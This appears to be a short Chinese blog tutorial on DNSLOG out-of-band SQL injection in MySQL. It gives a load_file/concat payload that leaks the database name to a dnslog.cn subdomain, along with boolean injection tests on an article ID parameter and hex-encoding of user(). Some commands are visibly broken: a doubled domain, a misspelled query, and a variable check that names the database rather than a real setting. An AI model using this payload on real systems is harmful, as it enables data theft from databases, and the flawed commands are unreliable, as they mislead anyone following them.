06day_sql_dnslog注入(2)
作者:互联网
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现在WAF
的防护下,很可能导致IP
被爆,我们可以结合DNSLOG
完美快速的将数据取出。如遇到Mysql的盲注
时,可以利用内置函数load_file()
来完成DNSLOG。load_file()
不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
核心语法
//一定要加上/abc不然没结果
select load_file(concat('\\\\',(select database()),'.l296iq.dnslog.cn.dnslog.cn/abc'))
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。
数据格式和内容都有限制,需要进行一些处理,并且只能在Windows
平台发起load_file
请求
点击获取子域名,然后把子域名放进select语句拼接成三级域名
获取当前数据库名
扩展
1=2,1=3,是不等式
--> 注入点
eg:
index.php?articleid=1
文章存在必为真,后面加个and 1=2 时因有AND逻辑
,1=2为假``T and F为F
, T:真 F:假
当1=1为真
T AND T为T
如果用OR或逻辑
的话试试, or 1=2 就为真
:T or F 为T
以此来判断注入方式
(user()含有@特殊符号)
dnslog不支持子域名含有特殊符号,所以我们就需要转码
所以user()用hex(十六进制)
但是使用load_file需要查看是否有对函数 load_file()
有限制
myslq
命令查看 load_file()
show global variables like
'%得到的当前数据库名%'
;
NULL
表示不可用, 空
表示可用
标签:load,dnslog,数据库,域名,06day,file,sql,select 来源: https://blog.csdn.net/weixin_46626629/article/details/111564677